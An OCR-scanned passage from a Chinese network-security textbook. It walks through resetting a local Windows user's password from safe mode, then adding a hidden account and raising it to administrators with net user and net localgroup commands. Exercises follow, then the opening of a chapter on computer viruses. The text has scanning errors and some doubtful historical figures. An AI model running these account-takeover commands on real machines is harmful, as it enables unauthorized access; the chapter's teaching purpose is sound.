格式 为 : 


net user [UserName [Password|*] [options]] [/domain] 
net user [UserName [Passwordlx*] /add [options] [/domain]] 


net user [UserName [/delete] [/domain]] 


每 个 参数 的 具体 含义 在 Windows XP 帮助 中 已 做 了 详细 的 说 明 。 现 在 以 恢复 本 地 用 户 
zhangbq 口令 为 例 ,来 说 明 使 用 NET 命令 修改 用 户 密码 来 实现 本 地 攻击 。 

(1) 重新 启动 计算 机 ,在 启动 画面 出 现 后 马上 按 F8 键 ,选择 “ 带 命令 行 的 安全 模式 ”。 

(2) 运行 过 程 结束 时 ,系统 列 出 了 系统 超级 用 户 administrator 和 本 地 用 户 zhangbgq 的 
选择 菜单 ,鼠标 单 击 administrator, 进 入 命令 行 模式 。 

(3) 输入 命令 :“net user zhangbq 123456 /add”, 强 制 将 zhangbq 用 户 的 口令 更 改 为 
123456。 若 想 在 此 添加 一 新 用 户 ( 如 : 用 户 名 为 abcdef ,口令 为 123456) , 则 输入 “net user 
abcdef 123456 /add”, 添 加 后 可 用 “net localgroup administrators abcdef /add” 命 令 将 用 户 
提升 为 系统 管理 组 administrators 的 用 户 ,并 使 其 具有 超级 权限 。 

(4) 重新 启动 计算 机 ,选择 正常 模式 下 运行 ,就 可 以 用 更 改 后 的 口令 123456 登录 


zhangbq 用 户 了 。 
net 命令 的 功能 是 相当 强大 的 。 下 面 对 这 一 命令 的 使 用 做 简单 的 注解 。 有 具体 使 用 时 ， 
请 参见 相关 的 帮助 。 


。 Net Accounts: 这 个 命令 显示 当前 口令 的 一 些 设置 .登录 的 限定 和 域 的 信息 。 包 括 

更 新 用 户 账户 数据 库 和 修改 口令 及 登录 需求 的 选项 。 

Net Computer: 在 域 数据 库 里 增加 或 删除 计算 机 。 

Net Config Server 或 Net Config Workstation: 显示 服务 器 服务 的 配置 信息 。 如 果 

没有 指定 Server 或 者 Workstation, 这 个 命令 显示 可 以 配置 的 服务 列表 。 

。 Net Continue: 重新 激活 被 Net Pause 命令 挂 起 的 NT 服务 。 

。 Net File: 这 个 命令 列 出 一 个 服务 器 上 打开 的 文件 。 有 一 个 关闭 共享 文件 和 解除 文 

件 锁定 的 选项 。 

Net Group: 显示 组 的 名 字 的 相关 信息 ,并 有 一 个 选项 ,可 以 在 服务 器 里 增加 或 修改 
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global 组 。 
。 Net Help: 得 到 指定 这 些 命令 的 帮助 。 
。 Net Helpmsg message #: 得 到 一 个 指定 的 net error 或 功能 消息 (function 
message) 的 帮助 。 
。 Net Localgroup: 列 出 服务 器 上 的 本 地 组 (local group) ,可 以 修改 这 些 组 。 
。 Net Name: 显示 发 往 的 计算 机 的 名 字 和 用 户 。 
。 Net Pause: 将 某 个 NT 服务 挂 起 。 
。 Net Print: 显示 打印 任务 和 共享 队列 。 
。 Net Send: 给 其 他 用 户 ,计算 机 发 送 消息 。 
。 Net Session: 显示 当前 会 话 的 信息 。 还 包含 一 个 终止 当前 会 话 的 命令 。 
。 Net Share: 列 出 一 个 计算 机 上 的 所 有 共享 资源 的 信息 。 这 个 命令 也 可 以 用 来 创建 
共享 资源 。 
。 Net Statistics Server 或 Workstation: 显示 统计 记录 。 
。 Net Stop: 停止 NT 的 服务 ,取消 任何 正在 使 用 的 连接 。 停 止 一 个 服务 有 可 能 会 停 
止 其 他 服务 。 
。 Net Time: 显示 或 设置 一 个 计算 机 或 域 的 时 间 。 
。 Net Use: 列 出 连接 上 的 计算 机 ,有 连接 或 断 开 共 享 资源 的 选项 。 
。 Net User: 列 出 计算 机 的 用 户 账户 ,并 有 创建 或 修改 账户 的 选项 。 
。 Net View: 列 出 一 台 计算 机 上 的 所 有 共享 资源 ,包括 NetWare 服务 。 


6.9 本 章 小 结 


黑客 的 攻击 是 造成 网 络 不 安全 的 主要 原因 ,而 利用 网 络 设计 的 缺陷 是 黑客 突破 网 络 防 
护 进 入 网 络 的 主要 手段 之 一 。 只 有 了 解 黑客 入侵 网 络 的 基本 方法 ,做 到 知己 知 彼 , 才 能 更 好 
地 防范 入 侵 。 

关于 计算 机 网 络 的 非法 入 侵 , 在 没有 百分之百 的 防治 办 法 下 ,只 能 尽量 了 解 网 络 系统 的 
漏洞 和 黑客 攻击 网 络 的 方法 ,再 提出 具体 防护 措施 。 黑 客 攻击 网 络 的 步 又 主要 是 利用 端口 
技术 来 收集 目标 主机 信息 ,利用 系统 漏洞 取得 安全 账户 ,同时 通过 口令 破解 方法 获得 管理 员 
的 密码 ,最 后 再 在 目标 主机 中 放 和 人 木马 程序 以 便 长 期 控制 目标 主机 。 黑 客 攻 击 网 络 利用 的 
技术 主要 有 : 网 络 监听 、 端 口 扫描 ,口令 破解 、 系 统 漏洞 .缓冲 溢出 ,移植 木马 等 技术 ,应 充分 
掌握 这 些 技术 工作 的 机 制 , 同 时 制定 出 好 的 安全 策略 和 防范 措施 。 

本 章 还 主要 以 Windows XP 系统 为 实例 ,讲述 了 系统 的 漏洞 和 攻击 方法 ,以 引起 安全 管 
理 人 员 的 警示 。 


练 习 题 


基础 练习 题 


1. 计算 机 网 络 设 计 有 哪些 主要 缺陷 ? 

2. 什么 是 漏洞 ? 计算 机 网 络 漏洞 是 如 何 分 级 的 ? 

3. 计算 机 网 络 系统 的 漏洞 对 网 络 的 安全 有 何 影响 ? 请 举 出 一 个 例子 说 明 系 统 漏洞 对 
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网 络 安全 的 危害 性 。 


. 什么 是 网 络 监听 ? 网 络 监听 的 工作 原理 是 什么 ? 

. 能 和 否 在 网 络 上 发 现 一 个 网 络 监听 ? 请 说 明理 由 。 

. 对 于 预防 网 络 监 听 可 以 采取 什么 样 的 措施 ? 

. 端口 扫描 的 作用 是 什么 ? 端口 扫描 可 否 直 接 对 系统 造成 危害 ? 请 说 明理 由 。 

. 什么 是 端口 扫描 器 ? 端口 扫描 器 有 哪 几 类 ?各 对 网 络 起 什么 作用 ? 

. 黑客 破解 网 络 系统 的 口令 有 哪些 方法 ? 这 些 破解 方法 成 功 的 前 提 条 件 是 什么 ? 

. 什么 是 口令 破解 器 ? 它 的 工作 机 制 是 什么 ? 

. 什么 是 不 安全 的 口令 ? 安全 的 口令 是 什么 样 的 ? 

. 为 了 防止 黑客 破解 网 络 密码 ,有 哪些 方法 措施 ? 

. 在 网 络 安全 中 ,木马 是 什么 ? 它 有 什么 特征 ? 

. 木马 工作 原理 是 什么 ? 它 有 什么 危害 ? 

. 怎样 防范 计算 机 网 络 系统 感染 木马 ? 当 计 算 机 网 络 系统 感染 了 木马 ,怎样 清除 它 ? 

. 什么 是 缓冲 区 溢出 ? 黑客 是 怎样 利用 它 来 攻击 系统 的 ? 

. 黑客 攻击 网 络 所 用 的 工具 和 方法 有 哪 几 种 ? 请 找 出 一 种 方法 说 明 它 对 网 络 信息 所 

造成 的 危 
18. 


实践 题 


区 害 。 


请 说 明 黑 客 攻击 网 络 的 一 般 步 又 。 


请 找 一 种 攻陷 Windows 2003 网 络 操作 系统 的 方法 , 写 出 它 的 步骤 ;并 为 Windows 
2003 网 络 操作 系统 提出 相应 的 安全 改进 措施 。 


讨论 与 思考 题 * 
如 何 通 过 无 线 网 络 入 侵 获 取 无 线 网 络 密 码 ? 
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第 7 章 网 络 病毒 与 防治 


计算 机 病毒 从 它 诞生 之 日 起 到 现在 ,成 为 了 当今 信息 社会 的 一 个 癌症 , 它 随 着 计算 机 网 
络 的 发 展 ,已 经 传播 到 计算 机 世界 的 每 一 个 角落 ,并 大 肆 破 坏 计算 机 数据 、 改 变 操 作 程 序 、 摧 
毁 计算 机 硬件 ,给 人 们 造成 了 重大 损失 。 为 了 更 好 地 防范 计算 机 及 网 络 病毒 ,必须 了 解 计算 
机 病毒 的 机 制 ,同时 掌握 计算 机 病毒 的 预防 和 清除 的 办 法 。 

本 章 将 学 习 以 下 内 容 : 

。 计算 机 病毒 的 定义 ; 
计算 机 病毒 的 工作 原理 ; 
计算 机 病毒 的 分 类 ; 
计算 机 网 络 病毒 及 发 展 ; 
病毒 的 清除 办 法 和 防护 措施 ; 
著名 的 网 络 病毒 的 介绍 。 


7.1 计算 机 病毒 概述 


随 着 现代 通信 技术 的 不 断 发 展 ,人 与 人 之 间 的 沟通 变 得 越 来 越 方 便 快 捷 ,数据 、 文 件 、 电 
子 邮 件 可 以 迅速 有 效 地 在 各 个 网 络 工作 站 之 间 进 行 传递 ,而 通过 电缆 .光缆 和 电话 线 的 相连 
使 得 工作 站 间 的 距离 摆脱 了 物理 限制 , 近 至 并 排 相 靠 , 远 达 万 里 之 遥 , 都 可 进行 即时 的 信息 
传送 和 交流 。 但 在 沟通 方便 的 同时 ,也 为 计算 机 病毒 提供 了 良好 的 发 育 环 境 , 使 其 得 以 蔓延 
扩散 ,成 为 社会 一 大 公害 。 

现在 ,计算 机 病毒 技术 日 至 完善 成 熟 , 网 络 病毒 不 再 需要 寄生 在 主 程序 中 ,但 人 们 将 文 
件 附 加 在 电子 邮件 中 进行 传送 ,从 Internet、BBS 下 载 文件 或 浏览 Java ActiveX 网 页 的 时 
候 ,病毒 可 能 就 会 神 不 知 鬼 不 觉 地 进入 网 络 和 计算 机 系统 。 目 前 每 天 都 有 数 十 种 新 的 病毒 
在 网 上 发 现 。 与 此 同时 ,各 类 已 知 病毒 的 变异 品种 也 在 网 上 四 处 横行 。 如 何 发 现 和 防治 病 
毒 在 此 时 就 变 得 尤为 重要 了 。 


7.1.1 病毒 的 定义 


美国 计算 机 研究 专家 F. Cohen 博士 最 早 提出 了 ”计算 机 病毒 ”的 概念 。 计 算 机 病毒 是 
一 段 人 为 编制 的 计算 机 程序 代码 。 这 段 代 码 一 旦 进入 计算 机 并 得 以 执行 , 它 就 会 搜寻 其 他 
符合 其 传染 条 件 的 程序 或 存储 介质 ,确定 目标 后 再 将 自身 代码 插入 其 中 ,达到 自我 繁殖 的 目 
的 。 其 特性 在 很 多 方面 与 生物 病毒 有 着 极其 相似 的 地 方 。 

在 《中华 人民 共和 国 计 算 机 信息 系统 安全 保护 条 例 ) 第 二 十 八条 中 将 计算 机 病毒 定义 
为 :“ 指 编制 或 者 在 计算 机 程序 中 插入 的 破坏 计算 机 功能 或 者 数据 ,影响 计算 机 使 用 并 且 能 
够 自我 复制 的 一 组 计算 机 指令 或 者 程序 代码 。” 

人 们 从 不 同 角度 给 出 计算 机 病毒 的 定义 。 一 种 定义 是 : 通过 磁盘 、 磁 带 和 网 络 等 存储 
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媒介 传播 扩散 ,能 “传染 ?其 他 程序 的 程序 ; 另 一 种 是 : 能 够 实现 自身 复制 且 借 助 一 定 的 载体 
存在 的 ,具有 潜伏 性 .传染 性 和 破坏 性 的 程序 ;还 有 的 定义 是 : 一 种 人 为 制造 的 程序 , 它 通 过 
不 同 的 途径 潜伏 或 寄生 在 存储 媒体 (如 磁盘 、 内 存 ) 或 程序 里 , 当 某 种 条 件 或 时 机 成 熟 时 , 它 
会 自我 复制 并 传播 ,使 计算 机 的 资源 受到 不 同 程度 的 破坏 等 。 

现在 ,计算 机 病毒 的 传播 方式 、 感 染 途 径 、 发 作 方 式 都 有 了 极 大 的 不 同 。 以 前 ,大 多 数 类 
型 的 病毒 主要 通过 软盘 传播 。 随 着 Internet 的 风靡 ,给 病毒 的 传播 又 增加 了 新 的 途径 ,并 将 
成 为 第 一 传播 途径 。Internet 开拓 性 的 发 展 使 病毒 可 能 成 为 灾难 ,病毒 的 传播 更 迅速 , 反 病 
毒 的 任务 更 加 艰巨 。Internet 带 来 两 种 不 同 的 安全 威胁 ,一 种 威胁 来 自 文件 下 载 , 这 些 被 浏 
览 的 或 是 通过 FTP 下 载 的 文件 中 可 能 存在 病毒 。 另 一 种 威胁 来 自 电 子 邮件 。 大 多 数 
Internet 邮件 系统 提供 了 在 网 络 间 传 送 附 带 格式 化 文档 邮件 的 功能 ,因此 ,遭受 病毒 的 文档 
或 文件 就 可 能 通过 网 关 和 邮件 服务 器 涌 入 企业 网 络 。 网 络 使 用 的 简易 性 和 开放 性 使 得 这 种 
威胁 越 来 越 严 重 。 

随 着 网 络 技 术 的 发 展 ,计算 机 病毒 在 快速 增长 。 按 美国 国家 计算 机 安全 协会 发 布 的 统 
计 资 料 , 已 有 超过 18 000 种 病毒 被 辨认 出 来 ,而 且 每 个 月 又 在 不 断 产生 200 种 新 型 病毒 。 
可 以 这 样 说 ,在 计算 机 世界 中 没有 一 台 计 算 机 可 以 对 病毒 免疫 。 对 于 经 常 上 网 的 用 户 来 说 
必须 经 常 性 地 对 付 病毒 的 突然 爆发 。 


7.1.2 计算 机 病毒 的 发 展 历史 


计算 机 病毒 并 非 是 最 近 才 出 现 的 新 产物 。 事 实 上 , 早 在 1949 年 ,距离 第 一 部 商用 计算 
机 的 出 现 仍 有 好 几 年 时 ,计算 机 的 先驱 者 汉 “， 诺 依 曼 (John Von Neumann) 在 他 的 论文 ( 复 
杂 自 动 装置 的 理论 及 组 织 的 进行 》 中 就 已 把 病毒 程序 的 蓝图 勾勒 出 来 。 

当时 , 绝 大 部 分 的 计算 机 专家 都 无 法 想象 这 种 会 自我 繁殖 的 程序 是 可 能 出 现 的 。 可 是 ， 
少数 几 个 科学 家 默默 地 研究 了 汉 “ 诺 依 曼 所 提出 的 概念 。10 年 之 后 ,当时 贝尔 实验 室 中 3 
个 年 轻 程序 员 : 道格拉斯 。 麦 耀 莱 .维特 。 维 索 斯 基 以 及 罗 伯 在 业余 时 间 想 出 来 一 个 游 
戏 一 一 “ 磁 营 大 战 ”(Core War)。 这 个 游戏 可 以 实现 程序 的 自我 复制 ,从 而 成 为 了 病毒 的 
先驱 。 

1983 年 ,科恩 汤 普 逊 (Ken Thompson) 是 当年 一 项 杰出 计算 机 奖 的 得 奖 主 。 在 颁奖 
典礼 上 ,他 作 了 一 个 演讲 ,不 但 公开 证 实 了 计算 机 病毒 的 存在 ,而 且 还 告诉 所 有 听众 怎样 去 
写 自己 的 病毒 程序 。 至 此 计算 机 病毒 正式 出 现在 人 们 面前 ,并 迅速 成 为 了 大 家 谈 虎 色 变 的 
恐怖 程序 。 

最 早 被 开发 出 的 计算 机 病毒 是 程序 员 用 来 保护 自己 程序 的 安全 门 。 但 随 着 时 间 的 逐步 
推移 ,这 道门 渐渐 开 错 了 方向 ,成 为 了 破坏 程序 安全 的 最 大 隐患 。 

世界 上 第 一 例 被 证 实 的 病毒 发 现在 1987 年 ,但 在 其 后 的 5 年 中 病毒 并 没有 真正 在 世界 
上 传播 开 来 ,因此 没有 引起 人 们 的 高 度 重 视 。 直 到 1988 年 11 月 的 一 次 病毒 发 作 , 造 成 
Internet 网 上 的 6200 个 用 户 系统 瘫痪 ,经 济 损失 达 9000 多 美元 ,随后 一 系列 病毒 事件 的 发 
生 , 才 使 人 们 对 计算 机 病毒 高 度 重视 起 来 。 

计算 机 病毒 的 发 展 经 历 了 以 下 几 个 主要 阶段 : DOS 引导 阶段 ;DOS 可 执行 文件 阶段 ; 
混合 型 阶段 ;伴随 、 批 次 性 阶段 ;多 形 性 阶段 ;生成 器 、 变 体 机 阶段 ;网 络 、 蠕 虫 阶段 ;视窗 阶 
段 ; 宏 病毒 阶段 和 互联 网 阶段 。 这 些 将 在 下 面 几 节 中 穿插 介绍 。 
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7.2 计算 机 病毒 的 工作 原理 


要 做 好 反 病 毒 技术 的 研究 ,首先 要 认 清 计算 机 病毒 的 结构 特点 和 行为 机 理 , 为 防范 计算 
机 病毒 提供 充实 可 靠 的 依据 。 下 面 将 通过 对 计算 机 病毒 主要 特征 、 破 坏 行 为 以 及 基本 结构 
的 介绍 来 阐述 计算 机 病毒 的 工作 原理 。 


7.2.1 计算 机 病毒 的 主要 特征 


一 般 正 常 的 程序 是 由 用 户 调 用 ,再 由 系统 分 配 资源 ,完成 用 户 交 给 的 任务 。 其 目的 对 用 
户 是 可 见 的 、 透 明 的 。 而 病毒 具有 正常 程序 的 一 切 特性 , 它 隐 藏 在 正常 程序 中 , 当 用 户 调用 
正常 程序 时 窃取 到 系统 的 控制 权 , 先 于 正常 程序 执行 ,病毒 的 动作 、 目 的 对 用 户 是 未 知 的 ,是 
未 经 用 户 允 许 的 。 计 算 机 病毒 主要 有 下 面 这 些 特征 。 

1. 可 控 性 

首先 ,需要 强调 的 就 是 计算 机 病毒 与 各 种 应 用 程序 一 样 也 是 人 为 编写 出 来 的 。 它 并 不 
是 偶然 自发 产生 的 。 在 某 些 方面 , 它 具有 一 定 的 主观 能 动 性 , 即 是 可 事先 预防 的 。 当 程序 员 
编写 出 这 些 有 意 破坏 、 严 谨 精 巧 的 程序 段 时 ,它们 就 成 了 具有 严格 组 织 的 程序 代码 ,与 其 所 
在 环境 相互 适应 并 紧密 配合 ,伺机 达到 它们 的 破坏 目的 。 因 此 ,这 里 所 指 的 可 控 并 不 是 针对 
其 散播 速度 和 范围 的 ,而 是 对 其 产生 根源 的 控制 ,也 就 是 说 是 对 人 的 控制 。 简 单 地 说 ,只 要 
程序 员 和 广大 的 计算 机 爱好 者 们 不 编写 那些 流 毒 甚 广 的 病毒 的 话 , 那 么 也 就 无 须 为 如 何 防 
治 而 绞 尽 脑 半 了 。 当 然 此 类 说 法 纯 属 说 笑 , 所 以 人 们 仍然 需要 深入 了 解 计算 机 病毒 的 产生 、 
传染 和 破坏 行为 ,以 达到 知己 知 彼 , 百 战 不 殖 的 目的 。 

2. 传染 性 

病毒 的 传染 性 是 计算 机 病毒 最 基本 的 特性 ,病毒 的 传染 性 是 病毒 赖 以 生存 繁殖 的 条 件 ， 
如 果 病 毒 没 有 传播 渠道 , 则 其 破坏 性 小 .扩散 面 窗 、 难 以 造成 大 面积 流行 。 病 毒 通常 的 传播 
途径 有 以 下 几 种 。 

(1) 邮件 系统 。 随 着 因特网 的 不 断 普 及 ,国内 的 用 户 数 呈 指数 级 增长 。 其 中 电子 邮件 
是 Internet 所 有 服务 中 最 基本 的 服务 ,超过 80% 的 用 户 都 使 用 电子 邮件 服务 。 然 而 ,在 享 
受 电 子 邮件 为 大 家 带 来 方便 .快捷 、 高 效 的 同时 ,也 在 忍受 着 大 量 的 垃圾 信件 .邮件 炸弹 和 邮 
件 病毒 以 及 公司 内 部 信息 通过 E-mail 泄露 的 极 大 困扰 ,这 些 困扰 在 不 知 不 觉 中 带 来 了 极 大 
的 经 济 损失 。 很 多 病毒 在 侵入 用 户 电 脑 后 ,都 会 自动 向 外 发 送 带 毒 邮件 ,用 户 打开 这 些 邮 件 
后 就 会 中 毒 。 因 此 ,电子 邮件 已 经 成 为 黑客 传播 病毒 最 重要 的 渠道 之 一 。 

(2) 局 域 网 。 主 要 是 指 在 小 范围 内 由 服务 器 和 多 台电 脑 组 成 的 工作 组 互连网 络 ,属于 
计算 机 网 络 应 用 的 一 个 分 支 。 由 于 局 域 网 通过 服务 器 把 网 内 每 一 台电 脑 连接 ,因此 其 信息 
的 传输 速率 比较 高 ,同样 也 给 病毒 传播 提供 了 有 效 的 通道 。 目 前 通过 该 渠道 传输 病毒 主要 
是 由 于 局 域 网 中 的 共享 资源 以 及 系统 中 存在 的 漏洞 ,造成 被 攻击 进而 感染 病毒 的 。 

(3) 浏览 器 。 如 今 ,浏览 器 满足 了 广大 网 民 的 需求 ,如 果 电 脑 没有 了 浏览 器 ,有 很 多 人 
不 知道 上 网 还 能 做 什么 。 正 因为 浏览 器 的 使 用 频率 高 , IE 等 浏览 器 已 经 逐渐 成 为 各 种 病 
毒 和 木马 程序 进入 个 人 电脑 的 最 佳人 口 ,成 了 出 卖 自己 网 络 信息 的 间接 罪犯 , 故 IE 等 浏览 
器 的 安全 性 备 受 争议 。 
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(4) 移动 介质 。 这 主要 包括 软盘 、U 盘 、 移 动 硬盘 .光盘 等 ,因为 复制 染 毒 文件 或 者 
AutoRun. inf 自动 播放 的 原因 ,致使 病毒 自动 执行 从 染 毒 系统 复制 人 移动 介质 或 者 从 移动 
介质 把 病毒 感染 入 计算 机 。 近 年 来 由 此 类 移动 介质 传播 病毒 的 现象 明显 增多 , 据 统计 ,目前 
通过 U 盘 传播 的 病毒 数 占据 总 病毒 数 的 比例 已 超过 35%。 

(5) 即时 通信 软件。 如 QQ,MSN 等 , 早 些 年 的 性 感 烤 鸡 病毒 .近年 的 MSN 病毒 等 往 
往 通 过 一 个 诱 人 的 链接 或 图 片 便 造成 病毒 被 传播 ,以 致 泛滥 成 灾 。 当 然 也 有 很 多 病毒 是 利 
用 这 些 即时 聊天 软件 本 身 的 漏洞 来 进行 传播 的 。 

(6) 常用 应 用 软件 漏洞 。 如 今 病毒 的 传播 与 植 入 已 趋向 于 多 样 化 与 复杂 化 ,往往 一 些 
常用 软件 的 漏洞 会 成 为 病毒 传播 的 切入 点 。 

3. 夺取 系统 控制 权 

一 般 的 正常 程序 由 系统 或 用 户 调用 ,并 由 系统 分 配 资源 。 其 运行 目的 对 用 户 是 可 见 的 
和 透明 的 。 而 就 计算 机 病毒 的 程序 性 (可 执行 性 ) 而 言 ,计算 机 病毒 与 其 他 合法 程序 一 样 ,是 
一 段 可 执行 程序 ,但 它 不 是 一 个 完整 的 程序 ,而 是 寄生 在 其 他 可 执行 程序 上 ,因此 它 享 有 一 
切 程序 所 能 得 到 的 权力 。 当 计算 机 在 正常 程序 控制 之 下 运行 时 ,系统 运行 是 稳定 的 。 在 这 
台 计 算 机 上 可 以 查看 病毒 文件 的 名 字 ,查看 或 打印 计算 机 病毒 代码 ,甚至 复制 病毒 文件 , 系 
统 都 不 会 激活 并 感染 病毒 。 病 毒 为 了 完成 感染 .破坏 系统 的 目的 必然 要 取得 系统 的 控制 权 。 
计算 机 病毒 一 经 在 系统 中 运行 ,病毒 首先 要 做 初始 化 工作 ,在 内 存 中 找到 一 片 安身 之 地 , 随 
后 将 自身 与 系统 软件 挂 起 钩 来 执行 感染 程序 , 即 取得 系统 控制 权 。 系 统 每 执行 一 次 操作 , 病 
毒 就 有 机 会 执行 它 预先 设计 的 操作 ,完成 病毒 代码 的 传播 和 进行 破坏 活动 。 

4. 隐蔽 性 

不 经 过 程序 代码 分 析 或 计算 机 病毒 代码 扫描 ,病毒 程序 与 正常 程序 不 易 区 别 开 。 

计算 机 病毒 的 隐蔽 性 表现 在 两 个 方面 : 一 是 传染 的 隐蔽 性 ,大 多 数 病毒 在 进行 传染 时 
速度 是 极 快 的 ,一般 不 具有 外 部 表现 ,不 宜 被 人 发 现 ;二 是 病毒 程序 存在 的 隐蔽 性 ,一般 的 病 
毒 程序 都 夹 在 正常 程序 之 中 ,很 难 被 发 现 , 而 一 旦 病毒 发 作出 来 ,往往 已 给 计算 机 系统 造成 
了 不 同 程 度 的 破坏 。 

随 着 病毒 编写 技巧 的 提高 ,病毒 代码 本 身 还 进行 加 密 和 变形 ,使 得 对 计算 机 病毒 的 查找 
和 分 析 更 困难 ,容易 造成 漏 查 或 错 杀 。 

5. 潜伏 性 

一 个 编制 精巧 的 计算 机 病毒 程序 ,进入 系统 之 后 一 般 不 会 马上 发 作 , 可 以 在 几 周 或 者 几 
个 月 甚至 几 年 内 隐藏 在 合法 文件 中 ,对 其 他 系统 进行 传染 而 不 被 人 发 现 ,潜伏 性 愈 好 ,其 在 
系统 中 的 存在 时 间 就 会 愈 长 ,病毒 的 传染 范围 就 会 愈 大 。 只 有 在 满足 其 特定 条 件 后 才 启 动 
其 表现 模块 ,显示 发 作 信 息 和 进行 系统 破坏 。 如 “PETER-2” 在 每 年 2 月 27 日 会 提 3 个 问 
题 , 答 错 后 会 将 硬盘 加 密 。 著 名 的 “黑色 星期 五 ”病毒 在 日 期 为 13 号 的 星期 五 改作。 国内 
的 “上 海 一 号 ”病毒 会 在 每 年 三 .六 、 九 月 的 13 日 发 作 。 而 CIH 病毒 , 它 在 平时 会 隐藏 得 很 
好 ,而 只 有 在 每 月 的 26 日 发 作 时 才 会 凶 相 毕露 。 

使 计算 机 病毒 发 作 的 触发 条 件 主要 有 以 下 几 种 。 

(1) 利用 系统 时 钟 提 供 的 时 间作 为 触发 器 ,这 种 触发 机 制 被 大 量 病毒 使 用 。 

(2) 利用 病毒 体 自 带 的 计数 器 作为 触发 器 。 病 毒 利用 计数 器 记录 某 种 事件 发 生 的 次 
数 ,一 旦 计算 器 达到 设 定 值 , 就 执行 破坏 操作 。 这 些 事件 可 以 是 计算 机 开机 的 次 数 ,可 以 是 
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病毒 程序 被 运行 的 次 数 ,还 可 以 是 从 开机 起 被 运行 过 的 程序 数量 等 。 

(3) 利用 计算 机 内 执行 的 某 些 特定 操作 作为 触发 器 。 特 定 操作 可 以 是 用 户 按 下 某 些 特 
定 键 的 组 合 ,可 以 是 执行 的 命令 ,也 可 以 是 对 磁盘 的 读 写 。 被 病毒 使 用 的 触发 条 件 多 种 多 
样 , 而 且 往往 是 由 多 个 条 件 的 组 合 触 发 。 大 多 数 病毒 的 组 合 条 件 是 基于 时 间 的 ,再 辅 以 读 写 
盘 操作 按键 操作 以 及 其 他 条 件 。 

6. 不 可 预见 性 

不 同 种 类 病毒 的 代码 千差万别 ,病毒 的 制作 技术 也 在 不 断 提 高 ,病毒 比 反 病毒 软件 永远 
是 超前 的 。 新 的 操作 系统 和 应 用 系统 的 出 现 ,软件 技术 的 不 断 发 展 ,也 为 计算 机 病毒 提供 了 
新 的 发 展 空间 ,对 未 来 病毒 的 预测 更 加 困难 ,这 就 要 求人 们 不 断 提 高 对 病毒 的 认识 ,增强 防 
范 意识 。 

7. 可 触发 性 

计算 机 病毒 一 般 都 有 一 个 或 者 几 个 触发 条 件 。 满 足 其 触发 条 件 则 激活 病毒 的 传染 机 
制 , 使 之 进行 传染 。 


7.2.2 病毒 与 黑客 软件 的 异同 


计算 机 病毒 与 黑客 软件 相同 点 是 : 都 有 隐蔽 性 、 可 立即 执行 性 、 潜 伏 性 、 可 触发 性 、 破 坏 
性 、 非 授权 性 、 欺 骗 性 、 持 久 性 。 而 不 同 点 是 病毒 可 以 寄生 在 其 他 文件 中 ,可 以 自我 复制 ,可 
以 感染 其 他 文件 ,其 目的 是 破坏 文件 或 系统 。 对 于 黑客 软件 , 它 不 能 寄生 ,不 可 复制 和 感染 
文件 ,其 目的 是 盗 取 密 码 ,远程 监控 系统 。 


7.2.3 计算 机 病毒 的 破坏 行为 


计算 机 病毒 的 破坏 性 多 种 多 样 。 若 按 破 坏 性 粗略 分 类 ,可 以 分 为 良性 病毒 和 恶性 病毒 。 
恶性 病毒 是 指 在 代码 中 包含 有 损伤 .破坏 计算 机 系统 的 操作 ,在 其 传染 和 发 作 时 会 对 系统 直 
接 造 成 严重 损坏 。 它 的 损坏 目的 非常 明确 ,如 破坏 计算 机 数据 、 删 除 文件 格式 化 磁盘 、 破 坏 
主板 等 ,因此 恶性 病毒 非常 危险 。 良 性 病毒 是 指 不 包含 立即 直接 破坏 的 代码 ,只 是 为 了 表示 
其 存在 或 为 了 说 明 某 些 事 件 而 存在 ,如 只 显示 某 些 信息 ,或 播放 一 段 音乐 ,或 没有 任何 破坏 
动作 但 不 停 地 传播 。 但 是 这 类 病毒 的 潜在 破坏 还 是 有 的 , 它 使 内 存 空间 减少 ,占用 磁盘 空 
间 ,降低 系统 运行 效率 ,使 某 些 程序 不 能 运行 , 它 还 与 操作 系统 和 应 用 程序 争 抢 CPU 的 控 
制 权 , 严 重 时 导致 死机 、 网 络 瘫痪 。 

计算 机 病毒 的 破坏 性 表现 为 病毒 的 杀伤 能 力 。 病 毒 破坏 行为 的 激烈 程度 取决 于 病毒 作 
者 的 主观 愿望 和 他 的 技术 能 力 。 数 以 万 计 、 不 断 发 展 的 病毒 破坏 行为 千奇百怪 ,不 可 穷 举 。 
根据 有 关 病 毒资 料 可 以 把 病毒 的 破坏 目标 和 攻击 部 位 归纳 如 下 。 

(1) 病毒 激发 对 计算 机 数据 信息 的 直接 破坏 作用 。 大 部 分 病毒 在 激发 的 时 候 直 接 破坏 
计算 机 的 重要 信息 数据 ,所 利用 的 手段 有 格式 化 磁盘 改写 文件 分 配 表 和 目录 区 、 删 除 重要 
文件 或 者 用 无 意义 的 “垃圾 ?数据 改写 文件 .破坏 COMS 设置 等 。 

(2) 干扰 系统 运行 ,使 运行 速度 下 降 。 此 类 行为 也 是 花样 繁多 ,如 不 执行 命令 .干扰 内 
部 命令 的 执行 、 虚 假 报 警 、 打 不 开 文 件 、 内 部 栈 溢出 、 占 用 特殊 数据 区 、 换 现行 盘 、 时 钟 倒转 、 
重启 动 、 死 机 、 强 制 游 戏 、 扰 乱 串 并 接口 等 。 病 毒 激活 时 ,系统 时 间 延 迟 程序 启动 ,在 时 钟 中 
纳入 循环 计数 ,迫使 计算 机 空转 ,运行 速度 明显 下 降 。 
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(3) 占有 磁盘 空间 和 对 信息 的 破坏 。 

(4) 抢占 系统 资源 。 

(5) 干扰 W/O 设备 , 臭 改 预定 设置 以 及 扰乱 运行 。 

(6) 网 络 病毒 破坏 网 络 系统 ,非法 使 用 网 络 资源 ,破坏 电子 邮件 ,发 送 垃圾 信息 ,占用 网 
络 带 宽 等 。 


7.2.4 计算 机 病毒 的 结构 


计算 机 病毒 在 结构 上 有 着 共同 性 ,一 般 由 引导 部 分 传染 部 分 、 表 现 部 分 及 其 他 部 分 
组 成 。 

(1) 引导 部 分 也 就 是 病毒 的 初始 化 部 分 , 它 随 着 宿主 程序 的 执行 而 进入 内 存 , 为 传染 部 
分 做 准备 。 

(2) 传染 部 分 的 作用 是 将 病毒 代码 复制 到 目标 上 去 。 一 般 病 毒 在 对 目标 进行 传染 前 ， 
要 判断 传染 条 件 ,如 CIH 病毒 只 针对 Windows 95/98 操作 系统 ,判断 病毒 是 否 已 经 感染 过 
该 目标 等 。 

(3) 表现 部 分 是 病毒 间 差 异 最 大 的 部 分 ,前 两 部 分 是 为 这 部 分 服务 的 。 它 破坏 被 传染 
